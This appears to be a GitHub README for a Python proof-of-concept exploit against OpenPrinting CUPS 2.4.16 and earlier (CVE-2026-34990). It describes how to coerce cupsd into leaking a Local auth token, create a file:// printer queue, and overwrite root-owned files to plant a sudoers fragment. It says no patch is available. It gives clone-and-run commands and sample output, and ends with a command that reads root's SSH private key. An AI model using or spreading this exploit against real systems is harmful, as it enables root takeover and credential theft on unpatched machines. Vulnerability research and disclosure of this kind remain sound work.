ungabunga-ctf/cve-2026-34990Python proof-of-concept for CVE-2026-34990 in OpenPrinting CUPS, coercing cupsd to leak a Local auth token and overwrite root files via a file:// printer queue.
CVE-2026-34990 - OpenPrinting CUPS versions 2.4.16 and prior, a local unprivileged user can coerce cupsd into authenticating to an attacker-controlled localhost IPP service with a reusable Authorization: Local ... token. That token is enough to drive /admin/ requests on localhost, and the attacker can combine CUPS-Create-Local-Printer with printer-is-shared=true to persist a file:///... queue even though the normal FileDevice policy rejects such URIs. Printing to that queue gives an arbitrary root file overwrite; the PoC below uses that primitive to drop a sudoers fragment and demonstrate root command execution. At time of publication, there are no publicly available patches.
git clone https://github.com/ungabunga-ctf/CVE-2026-34990
cd CVE-2026-34990
python3 CVE-2026-34990.py
python3 CVE-2026-34990.py
CVE-2026-34990 CUPS PoC
[*] Target file: /etc/sudoers.d/aporter
[*] Starting token capture server...
[+] Captured Local token: 7BD0ECC9D367025E50774E0BB08F7B5E
[*] Creating file:// printer...
[+] Vulnerable!
...
...
then:
sudo -n cat /root/.ssh/id_rsa